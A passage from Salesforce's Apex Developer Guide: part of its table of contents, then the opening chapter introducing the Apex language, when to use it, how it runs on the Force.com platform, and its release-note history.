GroupingColumn Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1932
GroupingInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1933
GroupingValue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1935
NotificationAction Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1937
NotificationActionContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1938
ReportCsf Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1940
ReportCurrency Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1949
ReportDataCell Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1950
ReportDescribeResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1951
ReportDetailRow Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1952
ReportDivisionInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1952
ReportExtendedMetadata Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1953
ReportFact Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1955
ReportFactWithDetails Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1956
ReportFactWithSummaries Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1957
ReportFilter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1958
ReportFormat Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1962
ReportInstance Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1962
ReportManager Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1965
ReportMetadata Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1970
ReportResults Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1989
Contents
ReportScopeInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1992
ReportScopeValue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1993
ReportType Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1994
ReportTypeColumn Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1995
ReportTypeColumnCategory Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1997
ReportTypeMetadata Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1999
SortColumn Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2000
StandardDateFilter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2002
StandardDateFilterDuration Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2005
StandardDateFilterDurationGroup Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2007
StandardFilter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2008
StandardFilterInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2010
StandardFilterInfoPicklist Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2011
StandardFilterType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2012
SummaryValue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2013
ThresholdInformation Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2014
TopRows Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2015
Reports Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2018
Schema Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2019
ChildRelationship Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2020
DataCategory Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2022
DataCategoryGroupSobjectTypePair Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2023
DescribeColorResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2026
DescribeDataCategoryGroupResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2027
DescribeDataCategoryGroupStructureResult Class . . . . . . . . . . . . . . . . . . . . . . . . . 2030
DescribeFieldResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2032
DescribeIconResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2047
DescribeSObjectResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2050
DescribeTabResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2059
DescribeTabSetResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2062
DisplayType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2065
FieldSet Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2066
FieldSetMember Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2070
PicklistEntry Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2072
RecordTypeInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2074
SOAPType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2076
SObjectField Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2077
SObjectType Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2078
Search Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2080
KnowledgeSuggestionFilter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2081
QuestionSuggestionFilter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2086
SearchResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2089
SearchResults Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2091
SuggestionOption Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2092
Contents
SuggestionResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2094
SuggestionResults Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2094
Site Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2095
UrlRewriter Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2096
Site Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2097
Support Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2098
EmailTemplateSelector Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2098
MilestoneTriggerTimeCalculator Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2100
System Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2102
Address Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2107
Answers Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2112
ApexPages Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2114
Approval Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2116
Blob Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2128
Boolean Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2130
BusinessHours Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2132
Cases Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2136
Comparable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2136
Continuation Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2139
Cookie Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2143
Crypto Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2147
Custom Settings Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2159
Database Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2170
Date Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2211
Datetime Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2222
Decimal Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2245
Double Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2258
EncodingUtil Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2262
Enum Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2266
Exception Class and Built-In Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2266
FlexQueue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2269
Http Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2272
HttpCalloutMock Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2273
HttpRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2274
HttpResponse Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2284
Id Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2290
Ideas Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2296
InstallHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2301
Integer Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2304
JSON Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2306
JSONGenerator Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2312
JSONParser Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2326
JSONToken Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2339
Limits Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2339
Contents
List Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2352
Location Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2365
Long Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2368
Map Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2370
Matcher Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2382
Math Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2394
Messaging Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2420
MultiStaticResourceCalloutMock Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2425
Network Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2427
PageReference Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2432
Pattern Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2441
Queueable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2445
QueueableContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2447
QuickAction Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2448
RemoteObjectController . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2452
ResetPasswordResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2455
RestContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2456
RestRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2457
RestResponse Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2463
SandboxPostCopy Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2467
Schedulable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2468
SchedulableContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2469
Schema Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2470
Search Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2474
SelectOption Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2477
Set Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2483
Site Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2494
sObject Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2514
StaticResourceCalloutMock Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2533
String Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2535
StubProvider Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2609
System Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2611
Test Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2632
Time Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2645
TimeZone Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2650
Trigger Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2653
Type Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2656
UninstallHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2661
URL Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2664
UserInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2672
Version Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2680
WebServiceCallout Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2684
WebServiceMock Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2685
XmlStreamReader Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2687
Contents
XmlStreamWriter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2701
TerritoryMgmt Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2708
OpportunityTerritory2AssignmentFilter Global Interface . . . . . . . . . . . . . . . . . . . . . . 2708
TxnSecurity Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2711
Event Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2712
PolicyCondition Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2716
UserProvisioning Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2722
ConnectorTestUtil Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2722
UserProvisioningLog Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2724
UserProvisioningPlugin Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2726
VisualEditor Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2731
DataRow Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2731
DynamicPickList Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2734
DynamicPickListRows Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2737
APPENDICES
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2743
Appendix A: SOAP API and SOAP Headers for Apex . . . . . . . . . . . . . . . . 2743
ApexTestQueueItem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2743
ApexTestResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2745
ApexTestResultLimits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2748
ApexTestRunResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2751
compileAndTest() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2754
CompileAndTestRequest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2755
CompileAndTestResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2756
compileClasses() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2758
compileTriggers() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2759
executeanonymous() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2760
ExecuteAnonymousResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2760
runTests() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2761
RunTestsRequest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2763
RunTestsResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2763
DebuggingHeader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2767
PackageVersionHeader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2768
Appendix B: Shipping Invoice Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2770
Shipping Invoice Example Walk-Through . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2770
Shipping Invoice Example Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2773
Appendix C: Reserved Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2782
Appendix D: Action Links Labels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2784
Appendix E: Documentation Typographical Conventions . . . . . . . . . . . . 2790
Contents
GLOSSARY
INDEX
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2792
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2809
GETTING STARTED
CHAPTER 1
In this chapter ...
•
What is Apex?
•
When Should I Use
Apex?
•
How Does Apex
Work?
•
Developing Code in
the Cloud
•
What's New?
•
Understanding Apex
Core Concepts
Introducing Apex
Salesforce has changed the way organizations do business by moving enterprise applications that were
traditionally client-server-based into an on-demand, multitenant Web environment, the Force.com
platform. This environment allows organizations to run and customize applications, such as Salesforce
Automation and Service & Support, and build new custom applications based on particular business
needs.
While many customization options are available through the Salesforce user interface, such as the ability
to define new fields, objects, workflow, and approval processes, developers can also use the SOAP API
to issue data manipulation commands such as delete(), update() or upsert(), from client-side
programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages
grant organizations more flexibility in their customizations. However, because the controlling logic for
these client-side programs is not located on Force.com platform servers, they are restricted by:
• The performance costs of making multiple round-trips to the Salesforce site to accomplish common
business transactions
• The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust
environment
To address these issues, and to revolutionize the way that developers create on-demand applications,
Salesforce introduces Force.com Apex code, the first multitenant, on-demand programming language
for developers interested in building the next generation of business applications.
• What is Apex?—more about when to use Apex, the development process, and some limitations
• What's new in this Apex release?
• Apex Quick Start—delve straight into the code and write your first Apex class and trigger
1
Introducing Apex
What is Apex?
What is Apex?
User Permissions Needed
EDITIONS
To define, edit, delete, set security, set version settings, show
dependencies, and run tests for Apex classes:
“Author Apex”
To define, edit, delete, set version settings, and show dependencies for “Author Apex”
Apex triggers:
Available in: Salesforce
Classic and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
Apex is a strongly typed, object-oriented programming language that allows developers to execute
flow and transaction control statements on the Force.com platform server in conjunction with calls
to the Force.com API. Using syntax that looks like Java and acts like database stored procedures,
Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce
pages. Apex code can be initiated by Web service requests and from triggers on objects.
You can add Apex to most system events.
As a language, Apex is:
Integrated
Apex provides built-in support for common Force.com platform idioms, including:
2
Introducing Apex
When Should I Use Apex?
• Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException
handling
• Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject
records
• Looping that allows for bulk processing of multiple records at a time
• Locking syntax that prevents record update conflicts
• Custom public Force.com API calls that can be built from stored Apex methods
• Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation, and so on. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand
and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server,
much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note
that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user
interface.
Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are
not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed
to guard closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Automatically upgradeable
Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because compiled code is stored as
metadata in the platform, Apex is upgraded as part of Salesforce releases.
Easy to test
Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.
When Should I Use Apex?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and
developers to implement custom functionality. These include Apex, Visualforce, and the SOAP API.
3
Introducing Apex
How Does Apex Work?
Apex
Use Apex if you want to:
• Create Web services.
• Create email services.
• Perform complex validation over multiple objects.
• Create complex business processes that are not supported by workflow.
• Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
• Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
• Build wizards and other multistep processes.
• Create your own custom flow control through an application.
• Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.
SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time
and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.
How Does Apex Work?
All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:
Apex is compiled, stored, and runs entirely on the Force.com platform
When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.
4
Introducing Apex
Developing Code in the Cloud
When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end-user observes no differences in execution time from standard platform requests.
Developing Code in the Cloud
The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data access
and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many
benefits for automating business processes on the platform, it is not a general purpose programming language. As such, Apex cannot
be used to:
• Render elements in the user interface other than error messages
• Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
• Create temporary files
• Spawn threads
Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t,
you may run into the governor limits.
SEE ALSO:
Trigger and Bulk Request Best Practices
What's New?
Review the Salesforce Release Notes to learn about new and changed features.
Current Release
Learn about our newest features. You can also visit the Spring ’17 community page.
Our release notes include complete details about new features, as well as implementation tips and best practices.
• Spring ’17 Release Notes
• Salesforce for Outlook Release Notes
• Force.com Connect for Office Release Notes
• Force.com Connect Offline Release Notes
Past Releases
Our archive of release notes includes details about features we introduced in previous releases.
• Winter ’17 Release Notes
5
Introducing Apex
What's New?
• Summer ’16 Release Notes
• Spring ’16 Release Notes
• Winter ’16 Release Notes
• Summer ’15 Release Notes
• Spring ’15 Release Notes
• Winter ’15 Release Notes
• Summer ’14 Release Notes
• Spring ’14 Release Notes
• Winter ’14 Release Notes
• Summer ’13 Release Notes
• Spring ’13 Release Notes
• Winter ’13 Release Notes
• Summer ’12 Release Notes
• Spring ’12 Release Notes
• Winter ’12 Release Notes
• Summer ’11 Release Notes
• Spring ’11 Release Notes
• Winter ’11 Release Notes
• Summer ’10 Release Notes
• Spring ’10 Release Notes
• Winter ’10 Release Notes
• Summer ’09 Release Notes
• Spring ’09 Release Notes
• Winter ’09 Release Notes
• Summer ’08 Release Notes
• Spring ’08 Release Notes
• Winter ’08 Release Notes
• Summer ’07 Release Notes
• Spring ’07 Release Notes
• Force.com Mobile 7.0 for BlackBerry Release Notes
